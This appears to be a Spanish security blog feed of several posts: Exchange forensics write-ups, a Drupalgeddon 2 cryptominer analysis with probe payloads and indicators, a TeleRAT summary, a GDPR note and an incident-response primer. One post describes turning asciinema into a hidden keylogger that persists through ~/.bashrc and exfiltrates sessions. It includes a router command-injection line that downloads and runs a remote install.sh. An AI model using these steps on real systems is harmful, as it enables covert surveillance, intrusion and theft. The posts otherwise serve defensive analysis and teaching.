Después de una noche con poco sueño (vueltas, vueltas al incidente intentando comprender qué ha podido pasar, qué nos hemos podido pasar por alto, qué nos falta por probar), volvemos cargados de cafeína a la Organización.

Autopsy ha terminado el procesado de la imagen de disco duro, pero tras un análisis superficial de los resultados nuestra teoría inicial se confirma: el equipo del usuario está limpio. De hecho, está tan limpio que el correo malicioso ni siquiera llegó a tocar ese equipo. Por lo tanto, se confirma que todo lo que haya pasado ha tenido que pasar en el Exchange.

Seguimos dándole vueltas al incidente, y hay algo que nos reconcome: si los atacantes tuvieran control completo del Exchange, habrían podido borrar el correo de la carpeta de los Elementos Recuperables, cosa que no han hecho. Pero lo que sí que han logrado ha sido poder borrarlo de la tabla EventHistoryDB, que opera a más bajo nivel… ¿o a lo mejor no lo han hecho?

Nos acercamos con croissants al área de Sistemas (la comida gratis abre muchas puertas), y nos sentamos los tres con el administrador de Exchange para repasar con él todos los comandos ejecutados.  Y nada más verlo ejecutar el primer comando entendemos lo que está sucediendo. La salida del comando de Powershell es algo similar a esta (en blanco está oculto lo que no es necesario):

Si se observa con cuidado, el ItemEntryID es un valor bastante largo y separado por guiones, lo que hace que en una pantalla de terminal de Windows de 80 columnas el valor ocupe varias líneas. Nosotros habíamos visto el problema de los guiones y lo teníamos controlado, pero en los logs del Message Tracking el ItemEntryID (ahí sin guiones) siempre cabía en una línea.  Y cuando buscamos cadenas en logs, fgrep es una herramienta estupenda que hace exactamente lo que le dicen, por lo que si le pides que busque una cadena completa que está en varias líneas… no la va a encontrar.

Tras una ristra de tacos que harían sonrojarse a un estibador marsellés, invocaciones a primigenios de Lovecraft y blasfemias múltiples variadas, volvemos a repetir la búsqueda. Ahora sí. Encontramos el maldito ItemEntryID en la EventHistoryDB cual pistola humeante, y confiesa lo sucedido con todo lujo de detalles:

1. Se creó un objeto de correo en t=0 (acción ObjectCreated).
2. En t+5 minutos el correo electrónico fue enviado (acción MailSubmitted).
3. En t+6 el correo fue eliminado del buzón (acción ObjectDeleted).

Y lo más importante: todas estas acciones fueron realizadas a través de OWA ¿No quedamos en que el OWA tenía el acceso restringido por una VPN para la que el usuario no tenía credenciales de acceso? Vamos a tener que tener unas serias palabras con ese OWA…

Solicitamos a Sistemas los logs de los dos nodos CAS (Client Access Server) del cluster, que son los que ofrecen el servicio de OWA. Media hora más tarde nos entregan 200Mb de logs en formato texto de las últimas 72h, con un formato similar a este (si te parecen muy parecidos a los de IIS es porque en realidad CAS ofrece los servicios web a través de un IIS):

Dado que tenemos un log razonablemente estructurado podemos empezar a aplicar la técnica de “decapado”: empezamos a quitar campos que no aportan valor y eliminamos aquellos que son conocidos. En este caso la técnica funciona de maravilla porque a los 5 minutos María exclama: ¿Firefox? ¿Por qué tantas entradas con Firefox, si no lo tenemos desplegado en la Organización?

Los usuarios suelen ser animales de costumbres: si en el trabajo usan Internet Explorer y Chrome, es más que probable que en casa usen lo mismo. Si pivotamos sobre este User-Agent en los logs, nos encontramos con el premio gordo: una dirección IP pública de la Organización que NO es el acceso VPN. Si abrimos con un navegador esa dirección IP, las piezas empiezan a encajar en su sitio porque aparece lo que esperábamos:

La pregunta es simple: ¿Qué hace un OWA en una IP pública distinta al acceso por VPN? Tras consultarlo varias veces con Sistemas y Redes, desfacemos el entuerto: es la IP correspondiente al acceso para los móviles.

Cuando la gente de Sistemas montó el Exchange tuvo en cuenta que el acceso para el OWA tenía que estar protegido, y por ello se publicó en una IP interna a la que solo se accedía por la VPN.

Sin embargo, a la hora de dar el servicio de correo móvil no tuvieron en cuenta que ActiveSync y OWA (que al parecer se instalan por defecto) usan el mismo puerto, por lo que al tener el acceso abierto para los móviles estaban dejando a la vez acceso al OWA a TODA la Organización.

La fiesta no termina ahí: pivotando sobre la subred de direccionamiento público encontramos OTRA dirección IP pública (el backup del acceso de los móviles)… y accesos desde ambas IP a otras tres cuentas de usuario distintas a la de nuestro paciente cero. Acabamos de cantar bingo, damas y caballeros.

Una vez identificado realmente el incidente, pasamos rápidamente a la fase de contención. No podemos cerrar tal cual el acceso de los móviles (hay que mantener el servicio activo), pero gracias a $deity los cortafuegos de la Organización tienen estudios suficientes como para saber poner filtros por URI. Generamos a través de los logs y de un par de búsquedas de Internet un diccionario rápido de términos a prohibir en la URI y los pasamos a la gente de Seguridad Perimetral para que los implementen en ambos accesos.

En segundo lugar procedemos a forzar el cambio de contraseñas de todos los usuarios afectados (asegurándonos previamente de que la política de contraseñas es fuerte: 12 caracteres mínimo, con requisitos de complejidad y caducidad mensual).

Una vez cerradas las puertas a los atacantes, pasamos a la fase de erradicación: recogemos evidencias de los equipos de los otros tres usuarios afectados, y las analizamos en busca de cualquier comportamiento malicioso. Revisamos a su vez en el Exchange todos los correos enviados en los últimos días, para comprobar que no se han enviado más correos maliciosos.

Sin embargo, aún nos quedan algunos flecos por resolver. Mi compañera me enseña los logs del OWA, y me señala unas líneas. Lo que hay en esos logs, y la conclusión del misterio, en el último capítulo…

La entrada Exchange forensics: El misterioso caso del correo fantasma (III) aparece primero en Security Art Work.

Volvemos a la investigación del incidente examinando lo que nuestra compañera había encontrado en los logs del OWA. Si recogemos todos los accesos realizados desde las dos IP con el User-Agent de Firefox, encontramos varios patrones de interés:

• Patrón 1: Acceso directo: Se observa en los logs cómo los atacantes acceden a la página de login, y luego a la pantalla principal del correo.
• Patrón 2: Accesos incorrectos: Los atacantes acceden a la página de login, pero la contraseña es incorrecta (observamos repetidos intentos de inicio de sesión, como si estuvieran realizando un ataque manual de fuerza bruta).
• Patrón 3: Accesos incorrectos + correcto: En un caso específico comprobamos como los atacantes realizan varios intentos de inicio de sesión y al quinto logran entrar.

Este último patrón es el más curioso ¿Cómo han podido los atacantes extraer las contraseñas de un usuario (que son robustas al tener 12 caracteres y forzada la complejidad) en unos pocos intentos?

Solicitamos a Sistemas los logs de los últimos meses, y buscamos la actividad maliciosa que tenemos perfectamente localizada gracias a la combinación de User-Agent y direcciones IP. El análisis de los logs nos permite comprobar que ese comportamiento se repite al milímetro en el resto de usuarios:

1. Los atacantes a partir de un tiempo T logran entrar en el correo del usuario.
2. T+n días más tarde (con n<30 días) los usuarios pierden el acceso (suponemos que porque el sistema obliga a cambiar la contraseña con periodicidad mensual).
3. En el mismo día T+n los usuarios realizan varios intentos de login, y con menos de 20 intentos consiguen volver a acceder a la cuenta del usuario.

Tenemos una teoría de lo que está pasando, pero necesitamos contrastarla con una prueba empírica. Volvemos a hablar con nuestro paciente cero y le pedimos amablemente que cambie su contraseña por una totalmente distinta y que nos proporcione la antigua. La respuesta confirma nuestras sospechas:

PepeNoviembre2017

Con estas premisas, no hace falta ser un genio para saber la contraseña del usuario del mes pasado… ni la del mes que necesitemos.  Y lo mejor de todo es que es una contraseña que cumple con la política establecida en el dominio Windows: tiene 17 lustrosos caracteres, mayúsculas, minúsculas y números. Y una vez los atacantes se han hecho con una de estas contraseñas con patrones, pueden seguir accediendo al sistema hasta el fin de los días.

Hablando con los otros usuarios afectados se confirman los hechos: todos empleaban patrones de contraseñas con un alto grado de reutilización, lo que hacía muy sencillo para los atacantes recuperar la nueva contraseña con un mínimo número de intentos.

Una vez entendidos todos los factores que han producido el incidente, podemos pasar a la fase de recuperación. En primer lugar, es necesario estimar el impacto sufrido por la Organización. Por lo que hemos extraído del análisis de los logs, los atacantes han tenido acceso a 4 buzones de usuario de la Organización durante un periodo aproximado de entre quince días y mes y medio, plazo durante el cual han tenido acceso a todo el correo del buzón de entrada.

En el lado positivo, los atacantes no han podido acceder a los correos archivados (que se guardan en .pst locales), ni tampoco a los correos borrados dentro del horario laboral (ya que los atacantes actuaban fuera del horario laboral para no despertar sospechas).

El análisis de los equipos no ha detectado ningún malware, y el análisis del Exchange parece indicar que está limpio, por lo que el incidente parece estar limitado a los accesos a los buzones de correo.  María recuerda que hace tres meses la Organización sufrió un ataque de phishing muy dirigido relativo a la prestación del seguro médico, en el que probablemente puedan haber caído una buena parte de usuarios. Este ataque podría explicar la obtención de credenciales por parte de los atacantes.

Una vez resuelto el incidente, podemos pasar a las lecciones aprendidas, que en este caso son las siguientes:

Revisa el perímetro

Es imperativo y prioritario revisar el perímetro: si la Organización no hubiera tenido el acceso para los móviles abierto a su vez para el OWA, este incidente no se habría producido. Es fundamental controlar todos los servicios expuestos a Internet para evitar sorpresas de este tipo.  Podemos para ello hacer uso de herramientas como nmap, o servicios online como Shodan.

Emplea 2FA en los accesos externos

Si en todos los accesos externos tuviéramos una doble autenticación (2FA), los atacantes no habrían tenido éxito en su ataque, ya que únicamente habrían obtenido la mitad de la información necesaria para acceder al OWA.

En este caso el acceso al OWA se realiza tras el acceso a una VPN (lo que podría contar como un cierto 2FA), pero aun habiendo cerrado el OWA “pirata” los atacantes podrían haber configurado un terminal móvil con los datos de acceso y seguir pudiendo entrar al correo. Para mitigar este riesgo, se propone en este caso hacer que el doble factor sea el propio terminal corporativo (Exchange permite crear una lista blanca de terminales autorizados, que en este caso son los terminales corporativos), lo que denegaría el acceso de los atacantes (y de paso, de los usuarios que configuran su correo en terminales no corporativos).

Conciencia a los usuarios

El incidente habría tenido un impacto mucho menor si los empleados hubieran sido entrenados en las buenas prácticas de seguridad: por un lado, a detectar posibles ataques de phishing, y por el otro a mantener una debida higiene de las contraseñas.

Se plantean dos actividades: en primer lugar, realizar una auditoría de fortaleza de contraseñas (de cuyos resultados a lo mejor hablamos en otro artículo), y en segundo lugar planificar un conjunto de actividades de concienciación para mejorar la postura de seguridad de los empleados de la Organización.

Aumenta las capacidades de log

Hemos tenido bastante suerte en este incidente, ya que hemos sido capaces de detectar con mucha rapidez su origen. Sin embargo, si hubiéramos tardado unos días más (imaginemos que no tenemos esas reglas de YARA en CARMEN y el ataque se detecta cuando los atacantes empiezan a exfiltrar datos), encontrar el punto de entrada habría sido muchísimo más complicado.

En nuestro caso, recomendamos el ampliar la capacidad del EventHistoryDB a 3 meses, aunque por motivos de espacio en disco duro nos tenemos que conformar con tan solo un mes. En lo referente a las carpetas de Elementos Recuperables volvemos a solicitar otros 3 meses, pero aceptamos la solución de compromiso de un mes / 40Gb de espacio. En ambos casos ampliamos el margen de detección de ataques sin comprometer el rendimiento del servicio, lo cual en sí mismo ya es una victoria.

Revisa los logs

Una correcta revisión de los logs del OWA podría haber detectado el ataque de fuerza bruta y haber contribuido a reducir sensiblemente el impacto del incidente. Se plantea como recomendación el integrar los logs del OWA dentro de una plataforma de gestión de logs como GrayLog o Splunk.

Al final todas las piezas del puzzle han encajado, y el incidente del correo fantasma ha sido resuelto con un impacto razonablemente pequeño para la Organización. Nos anotamos el mejorar la comunicación con el resto de áreas TIC (un tema siempre pendiente en la respuesta ante incidentes, pero sobre el que debemos trabajar día a día), y nos retiramos con la satisfacción del deber cumplido… hasta el siguiente incidente.

La entrada Exchange forensics: El misterioso caso del correo fantasma (IV) aparece primero en Security Art Work.

El pasado 28 de marzo el equipo de Drupal publicó la vulnerabilidad CVE-2018-7600, la cual permite la ejecución remota de código en las versiones 7.x 8.x y ha sido calificada como crítica.

Tal y como se hizo eco el portal https://isc.sans.edu/, dicho CVE está siendo utilizado para el minado de criptomoneda. Sin embargo, no solo hemos encontrado que hay más de un grupo utilizando la presente vulnerabilidad, sino que compiten entre ellos por el control de los mismos.
Así pues, en el siguiente post se va a llevar a cabo el análisis de los diferentes malware que hacen uso de la vulnerabilidad de Drupal, así como de la metodología utilizada tanto para la detección de servidores vulnerables como para la infección del mismo por parte de las diferentes muestras detectadas.

Según hemos podido encontrar, la detección de los servidores vulnerables se hace a través de lo que ha sido bautizado como Drupalgeddon 2:

Tal y como se puede observar, el user-agent corresponde a una automatización a través de Python, lenguaje utilizado en la mayoría de PoCs publicadas en Github.

El payload de la petición es “exec”, sin embargo también han sido detectados los siguientes payloads:

echo `whoami`
phpinfo()
echo 123
whoami
touch 1.html
echo "xiokv"
ping .mu6fea.ceye.io -c 1

La infección del dispositivo se lleva a cabo a través de la petición POST descrita anteriormente incorporando un payload de descarga y ejecución de un archivo.

Tal y como hemos podido detectar, el dominio u5evn7.if1j0ytgkypa[.]tk parece actuar también como C2, habiendo detectado un acceso a través de una pantalla de login.

El archivo i descargado a través de la ejecución remota de código es un script en bash la cual llevará a cabo la infección y persistencia en el equipo.

En el hilo principal podemos encontrar las funciones run, writecrontab y writerc.

run: lleva a cabo la descarga de la herramienta de minado xmrig según su arquitectura.

Dicha herramienta conectará contra el puerto 6666 del dominio u5evn7.if1j0ytgkypa[.]tk, la cual, actualmente resuelve a las direcciones IP 207.246.113.230, 144.202.37.130.

writecrontab: lleva a cabo la descarga de ese mismo fichero cada 30 minutos, en busca de posibles actualizaciones.

writerc: persistencia en el sistema a través del almacenamiento del script en rc.local, de cara a un arranque del proceso ante el reinicio de la máquina.

Sin embargo, la función que nos ha llamado más la atención es kd, la cual lleva a cabo la descarga de un script en bash cuya única función es matar procesos asociados a otros mineros.

Entre ellos, destacamos suppoie, el cual, curiosamente corresponde con otro minero que actualmente hace uso de la vulnerabilidad CVE-2018-7600.

Análisis de Suppoie

Utilizando la misma vulnerabilidad de ejecución remota de código, Suppoie descarga el fichero logo8.jpg a través del siguiente payload:

El archivo logo8.jpg corresponde, del mismo modo que el malware anterior, a un script en bash:

Tal y como podemos observar, el malware lleva a cabo la descarga y ejecución del archivo logo7.jpg, el cual es exactamente igual que el archivo logo8.jpg.

Por otra parte, almacena el fichero de configuración en el archivo 1.json., así como el minero xmrig (bajo el nombre suppoie).

Finalmente, ejecuta el archivo suppoie con la configuración almacenada anteriormente para iniciar así, el proceso de minado de criptomoneda.

Análisis de Suppoie 2

Muy curiosamente, hemos encontrado una segunda versión de Suppoie in the wild, la cual descarga el archivo logo4.jpg:

Al parecer, interesado en la funcionalidad de su competidor, el script ha incorporado la eliminación de procesos vinculados a malware relacionado con el minado:

Además, también incorpora el parado de contenedores que contengan las cadenas nginx78 o kube-apis.

Tal y como podemos observar, los grupos cibercriminales están muy atentos a la actualidad e incorporan con relativa frecuencia nuevas vulnerabilidades a su repertorio, sobretodo a aquellas cuya ejecución remota de código sea fácil de implementar. Por lo que debemos estar muy atentos a la aplicación de parches en nuestros CMS, aunque quizá sea más divertido esperar a que se borren entre ellos.

IoC

5c191bc8e6da21f05448c8cf355a3163570b06809535f67680e180c9e032108c
5594eaa0190357ddd03a33eac0feb7dc0e42b86c48340687736578ac6581791b
c1e9f5615856272b655267557c04125e400d6279b7eda31dd53b5afb002c9b06
64060c283c5e6a3d717202054e4bf46e380a2f4cb3fbef839ecc1185c39bce15
3d4fb17fe5ea326b9a2591c16693c6db7d609542ac2af7f82d78ff2ca5303cbb
eb508c2a4e1c7e109c5571b2fae879c8bd7a92b958aeaa8c6d2baf2b1b1585f6
e0b75f4537a244d285871b40f46d04bfc5f2ff52450ccba298d38345e44c8243
158.69.133.18
144.202.37.130
207.246.113.230
u5evn7.if1j0ytgkypa[.]tk
tc8zdw.if1j0ytgkypa[.]tk

Referencias

• https://www.drupal.org/sa-core-2018-002
• https://isc.sans.edu/forums/diary/Drupal+CVE20187600+PoC+is+Public/23549/
• http://piunikaweb.com/2018/04/14/drupal-vulnerability-being-used-to-install-crypto-miners-as-poc-code-goes-public/

La entrada Drupalgeddon 2: una lucha entre mineros aparece primero en Security Art Work.

Este es el nombre del último troyano de Android, que ha sido descubierto por investigadores de Palo Alto Network. Está diseñado y programado para usar los servicios de Telegram, más concretamente se utiliza el “API Bot de Telegram” como canal encubierto para la comunicación con su servidor Command and Control (C&C) con el fin de exfiltrar datos.

Según informan, la API Bot de Telegram ya estaba siendo empleada por atacantes para robar información que abarca desde SMS e historial de llamadas hasta listas de archivos de dispositivos Android infectados. Funcionalidades de otro malware denominado IRRAT.  Gracias a los estudios que se estaban realizando, se encontraron las trazas de este nuevo malware.

Pero… ¿cómo funciona TeleRAT?

Aunque se están haciendo comparaciones entre IRRAT y TeleRAT, el funcionamiento de ambos es muy diferente. Si hablamos de IRRAT,, este roba contactos, lista de cuentas de Google registradas en los dispositivos, historial de SMS, etc. Una vez que se ha hecho esto, mantiene a los datos robados en la tarjeta SD del teléfono y además los envía a un servidor después del primer lanzamiento de la aplicación.

Los ficheros que se crean son los siguientes:

• “[IMEI] numbers.txt”: Información de los contactos
• “[IMEI] acc.txt”: lista de cuentas de Google registradas en el teléfono
• “[IMEI] sms.txt”: historial de SMS
• 1.jpg: fotografía tomada con la cámara frontal
• Imagen.jpg: Imagen tomada con cámara trasera

Finalmente informa a un bot de Telegram (identificado por un ID de bot codificado en el código fuente de cada RAT) con el siguiente link:

En segundo plano la aplicación continúa comunicándose con el bot de Telegram a intervalos regulares y escucha ciertos comandos, tales como los que se detallan a continuación:

Comandos IRRAT

Como muestra la tabla anterior, esta demuestra cómo IRRAT hace uso de la API bot de Telegram únicamente para comunicar comandos a dispositivos infectados. Los datos robados se cargan en servidores de terceros, muchos de los cuales emplean un servicio de alojamiento web.

Por otro lado, TeleRAT opera de manera muy diferente. Crea dos archivos, “telerat2.txt” y “thisapk_slm.txt”. En telerat2.txt almacena una gran cantidad de información del dispositivo, incluyendo la versión del bootloader del dispositivo, la memoria interna y externa total y disponible, el número de núcleos de procesador y muchos otros. Y thisapk_slm.txt contiene un canal de Telegram y una lista de comandos.

Este RAT anuncia su instalación en el terminal, enviando un mensaje a los atacantes con la fecha y la hora a un bot de Telegram a través de la API.

Al mismo tiempo, este Trojan tiene un servicio en segundo plano que escucha los cambios realizados en el “portapapeles” y además mantiene un control de actualizaciones del telegrama API bot cada 4,6 segundos, a la escucha de los posibles siguientes comandos.

Como se puede observar, las características de TeleRAt no son las cuatro funcionalidades básicas, ya que puede recibir comandos y hacerse con sus contactos, localización, aplicaciones, e incluso portapapeles. También puede descargar archivos, recibir o enviar mensajes de texto, tomar fotos, hacer una llamada, silenciar el teléfono o ponerlo en el altavoz, apagar la pantalla del teléfono, eliminar aplicaciones… En pocas palabras, se puede tomar control del dispositivo.

TeleRAT es una actualización de IRRAT y se puede observar ya que utiliza el método de API “sendDocument” de Telegram para cargar datos robados, y de esta manera se puede eliminar la posibilidad de detección en la red que se basa en el tráfico a servidores de carga conocidos, ya que todas las comunicaciones (incluidas las cargas) se realizan a través de la API bot de Telegram.

Para ver en más detalle el análisis del código, os dejamos enlace a su investigación, donde relatan con gran detalle hasta donde llegan analizando el fuente:

https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/

¿Cómo está siendo difundido TeleRAT?

Se distribuye a través de canales legales y maliciosos principalmente iraníes.

La mayoría de las aplicaciones donde se ha encontrado se disfrazan en aplicaciones aparentemente legítimas. Como por ejemplo, una aplicación que le dice al usuario cuántas visitas recibió su perfil de Telegram; aunque no hace falta decir tiene que la información proporcionada no es exacta, puesto que Telegram no permite rellenar dicha información, según escribieron los investigadores en su informe.

Según las estadísticas de Palo Alto Networks, aproximadamente 2.293 dispositivos están infectados actualmente y el 82% de ellos tienen un número de teléfono de Irán.

Los expertos señalaron que TeleRAT reúne el código escrito por varios desarrolladores, incluido el código fuente disponible libremente a través de canales y códigos de Telegram que se venden en varios foros, lo que dificulta atribuir el malware a una único persona detrás de IRRAT y TeleRAT. Pero si concluyeron que el malware podría ser el trabajo de varios personas posiblemente operando dentro de Irán.

Espero que os haya gustado el aporte y como bien os comentaba, para más detalles podéis ir directamente a la fuente (ver link arriba).

Referencias:

• Artículo de la investigación realizada por Palo Alto – https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/
• Otro artículo de referencia – https://tecnonucleous.com/2018/03/25/telerat-el-malware-para-android-que-abusa-de-la-api-de-los-bots-de-telegram/

La entrada TeleRAT: Un nuevo troyano que utiliza Telegram como covert channel. aparece primero en Security Art Work.

Estoy seguro que muchos de vosotros habréis oído hablar de las criptomonedas, el bitcoin, la tecnología Blockchain basada en cadenas de bloques para registrar transacciones y muchos otros términos relacionados. Pues bien, vamos a centrarnos un poco en esa parte del registro de transacciones.

¿Qué es la minería de criptomonedas?

La cadena de bloques requiere de una minería constante con el fin de mantenerse consistente e íntegra de forma permanente para que las nuevas transacciones entrantes puedan ser recogidas de forma correcta. Dichas transacciones cuando son en grupo son conocidas como “bloques”.

Para el procesado, se requiere de algoritmos matemáticos muy complejos que son realizados por los mineros de criptomonedas que aportan potencia de cálculo a la par que renuncian a parte del cómputo de sus dispositivos. Como compensación por confirmar las transacciones y escribirlas en el libro de registro (cadena de bloques), cada X tiempo el minador recibe una pequeña comisión por su sacrificio en su cartera virtual.

Ahora bien. ¿Qué ocurre cuando esto se convierte en malware y se usa para fines lúdicos de mayores magnitudes? Como todo malware, la infección de dispositivos es la clave para conseguir un fin, que en este caso no es otro que el de incrementar el número de máquinas que computen con una misma dirección de cartera virtual.

Pues bien, el CSIRT-CV en colaboración con el laboratorio de malware de S2 Grupo ha realizado un informe de las últimas tendencias del malware destinado a minar, que actualmente ocupa las primeras páginas de los principales portales de seguridad informática.

Servidores, smartphones, dispositivos IoT, ordenadores de sobremesa, y un largo etcétera. Todo aparato con procesador es bueno si puede minar. Y la moneda más conocida actualmente para dicho uso es el Monero, la cual puede ser minada a través de cálculos con CPU.

– Descargar el informe –

La entrada CSIRT-CV publica un informe sobre Cryptomining Malware aparece primero en Security Art Work.

En la preparación de nuestras auditorias muchas veces perdemos bastante tiempo desarrollando herramientas que requieren de un gran trabajo y que, en muchos casos, no llegan a pasar desapercibidas para esos usuarios con un perfil algo más técnico.
Sin embargo, existen otros métodos más sencillos (e igualmente efectivos) de llevar a cabo la exfiltración de información, como es a través de herramientas no pensadas en un primer momento para ello y, que con ajustes relativamente sencillos, nos permiten llevarlo a cabo.

Así pues, durante el siguiente artículo se llevará a cabo el análisis de la herramienta asciinema, así como las diferentes posibilidades de uso y como ésta puede ser integrada con un vector de ataque.

Asciinema es una herramienta bastante simpática que suelo utilizar para demos cuya única función es el registro de la sesión del usuario y la de facilitar una URL que nos permite compartir de forma sencilla la visualización de la actividad del usuario. Una información muy valiosa que puede ser usada de forma malintencionada.

A continuación vamos a ver si podríamos llegar a usarla como un keylogger de Linux y cuales serían las modificaciones necesarias a aplicar.

En primer lugar observamos cómo actúa la funcionalidad de registro de la sesión.

Tal y como se puede observar, tenemos unos mensajes de info que deberán ser eliminados, así como la URL donde se ha subido la muestra.
Más allá de esta información, no parece que modifique el entorno del usuario, por lo que seguimos adelante en busca de los archivos del código fuente que almacenan los mensajes de información.

Con un simple grep sobre la ruta de asciinema, encontramos que dichos mensajes se almacenan en el fichero asciinema/commands/record.py, así pues, vamos a eliminarlos.

También encontramos que la salida por pantalla de la URL se debe borrar en el fichero encargado de la subida: asciinema/commands/upload.py.

Tras esos cambios, ya tenemos nuestro asciinema sin dejar rastro:

Llegados a este punto, debemos subir nuestro fork de la herramienta a un github que no llame demasiado la atención.

A continuación debemos pensar cómo podemos integrar el registro de la sesión sin que el usuario se dé cuenta. Un modo sencillo sería a través de la introducción del comando en el archivo ~/.bashrc, así, cada vez que Pepito ejecute Bash, asciinema estará almacenando toda la sesión.

Una vez nuestra herramienta no puede ser detectada a simple vista, tenemos varias posibles opciones para la exfiltración de la sesión.
La primera de ellas es a través de la propia página de asciinema.org, la forma de identificar nuestro archivo es a través de asociar un identificador único al nombre del archivo con la opción -t, por ejemplo:

asciinema rec -t “ID_username”

Esto sería como lo implementaríamos en un script en Bash.

Este método llamaría menos la atención en cuanto a lo relativo a contactar con dominios de dudosa reputación pero impide una gestión cómoda de los resultados obtenidos.

Otro modo de hacerlo sería almacenando la sesión en un archivo local y exfiltrarlo a través de otro método.

Podemos utilizar el mismo identificador único para su identificación, así como la opción rec sin el argumento “-t”. Para ello, necesitaríamos la instalación de una serie de líneas de comandos, tanto en ~/.bashrc como en el crontab del sistema.

El tercer método (y más limpio), sería a través de la modificación del archivo asciinema/api.py, la cual incorpora la funcionalidad de subir el archivo a través de la API de la web.

Una vez ya tenemos ideado la funcionalidad completa del malware, únicamente sería necesario envolverlo para regalo.

Así pues, necesitaremos que se instale en el equipo nuestra versión modificada de asciinema (en este articulo vamos a dar por supuestos que el usuario tiene instalado git y python3), así como cargar las variables vinculadas al nombre para que la parte aleatoria sea modificada y ejecución del asciinema en el .bashrc en un archivo oculto.
Finalmente añadimos una entrada en el crontab que exfiltre a través de una petición POST los archivos a un dominio que se haya registrado.

Todo esto puede ser integrado a través del siguiente script en Bash:

Ahora que ya tenemos el registro de sesión y la exfiltración de información, sólo nos haría falta un vector de entrada al sistema Linux. Podemos utilizar la vulnerabilidad de moda en esos momentos, como, por ejemplo, alguna relacionada a routers de fibra…

Así pues, almacenamos toda la información anterior en un script de bash, el cual subiremos a nuestro dominio.

curl -k -d “XWebPageName=diag&diag_action=ping&wan_conlist=0&parametro_vulnerable=wget;wget -qO -http://ourdomain.com/install.sh;chmod +x install.sh;./install.sh&ipv=0” http://objetivo 

Así pues, con este sencillo método ya tendríamos una herramienta capturando toda la información de la sesión de usuario y su exfiltración a través de diferentes métodos.

La entrada Simple & crazy covert channels (I): Asciinema aparece primero en Security Art Work.

Por fin ha llegado el día 25 de mayo. El día D donde todos los datos personales pasan a estar protegidos. Donde ya no se van a producir incidentes de seguridad. Donde todos los tratamientos de datos personales pasan a ser legítimos. Donde los datos ya no van a ser conservados sine díe. Donde los usuarios tenemos todo el control de nuestros datos. Donde el derecho al olvido es una realidad. Donde todo el mundo ha sido informado de que todas las políticas de privacidad del planeta han sido actualizadas (sí, la nuestra también). El día más esperado ha llegado. Y una vez llegado a este grado de regocijo, ¿y ahora qué?

Pues siento deciros que el RGPD no es cosa de un día. Hoy, 25 de mayo de 2018, entra en aplicación el Reglamento General de Protección de Datos, conocido por RGPD o GDPR por sus siglas en inglés. Pero que entre hoy en aplicación (lleva en vigor desde 2016) no quiere decir que todo lo que no hayamos hecho no hace falta hacerlo, o que si ya hemos hecho una adecuación no tengamos que hacer nada más. ¿Por qué?

Uno de los conceptos que introduce el RGPD y quizá el que más impacto produzca es el conocido accountability. Ese término que nos invita a aplicar las medidas técnicas y organizativas que la organización considere apropiadas para garantizar la privacidad de los datos, a ser capaz de demostrar el cumplimiento de los principios del tratamiento recogidos en el artículo 5 de la norma europea, en definitiva, a ser responsables de forma proactiva.

Por ello, esto empieza hoy. Y pongo algunos ejemplos de tareas o acciones que se deben aplicar desde hoy para cumplir con el reglamento:

• Evaluaciones de impacto. Como sabemos, son una herramienta preventiva que nos ayudará a identificar, evaluar y gestionar los riesgos a los que está expuesto un tratamiento. De esta forma seremos capaces de identificar las medidas apropiadas para garantizar los derechos y las libertades de las personas físicas. Por tanto, debemos aplicar los controles necesarios para identificar posibles nuevos tratamientos y poder realizar las evaluaciones de impacto que sean necesarias.
• Medidas para mitigación del riesgo. Seguro que todos vosotros conocéis el nuevo enfoque de riesgo que introduce la norma europea, lo que nos lleva a tener que realizar una revisión periódica del mismo, así como a analizar cada uno de los riesgos residuales para gestionarlo y decidir qué medidas aplicar en cada casos.
• Ejercicio de derechos. La llegada de nuevos derechos como es, por ejemplo, el derecho a la portabilidad, nos lleva a tener que actualizar nuestros procedimientos de atención de derechos para garantizar la respuesta al ejercicio de este derecho en el plazo establecido legalmente.
• Controles periódicos. Como estamos comentando a lo largo de este artículo, esto del RGPD no es algo estático sino que se debe revisar y supervisar el cumplimiento. Por tanto, recomendamos establecer controles periódicos que garanticen el cumplimiento de las medidas de seguridad establecidas por la organización.
• Vulneraciones de seguridad. Creo que todos los que estamos metidos en este mundillo de la seguridad somos conscientes de que en caso de un incidente de seguridad es importante la gestión que se realice del mismo desde el minuto 0. En el caso de los datos personales también, además de que ahora es un requisito legal la notificación a la autoridad de control siempre que la violación de seguridad constituya un riesgo para los derechos y libertades de los interesados.
• Encargados del tratamiento. Y por último pero no menos importante hay que establecer un procedimiento y una revisión periódica de los contratos y medidas de seguridad que los encargados del tratamiento están aplicando. No nos olvidemos que el RGPD nos deja el deber a los responsables del tratamiento de vigilar y determinar qué proveedores elegimos como encargados del tratamiento.

Por tanto, estoy convencido que todavía nos queda mucho trabajo a todos hasta tener una gestión de protección de datos madura en nuestras organizaciones. Muchos creíamos que el día 25 era un deadline pero a mi entender hoy es un hito más para el cumplimiento de RGPD. Viviremos más tranquilos sin la oleada de correos con actualizaciones de políticas de privacidad, pero no debemos olvidar el objetivo: proteger los datos personales. Sigamos trabajando en ello.

La entrada El RGPD no es cosa de un día aparece primero en Security Art Work.

Respuesta ante Incidentes en menos de 15 líneas

Resumen ultra rápido de lo que es la respuesta ante incidentes:

• Preparación: Nos preparamos para un posible ataque desplegando medidas de detección y respuesta en la Organización.
• Detección y análisis: Detectamos posibles ataques y los analizamos para determinar si son o no falsos positivos, y en caso de un ataque analizamos su alcance gravedad.
• Contención, erradicación y recuperación: Contenemos la extensión de los atacantes por el sistema, los expulsamos y devolvemos el sistema a la operación normal.
• Lecciones post incidente: Analizamos el incidente en busca de medidas de mejora tanto en la seguridad del sistema como en la propia respuesta para futuros incidentes.

Preparación

En este caso práctico contamos con una Organización con una madurez intermedia en sus medidas de seguridad: los equipos tienen antivirus, tienen una pasarela de correo con un antispam/antivirus, tienen un proxy que controla la navegación, un cortafuegos que controla las conexiones entrantes y salientes y un detector de intrusos que permite generar alertas ante posibles ataques.

En el lado negativo, sabemos que las actualizaciones en general (parches de seguridad, firmas de antivirus y del detector de intrusos) dejan bastante que desear, y que la concienciación de seguridad de los usuarios es… dispar, por así decirlo.

Detección y análisis: “Mi equipo va raro”

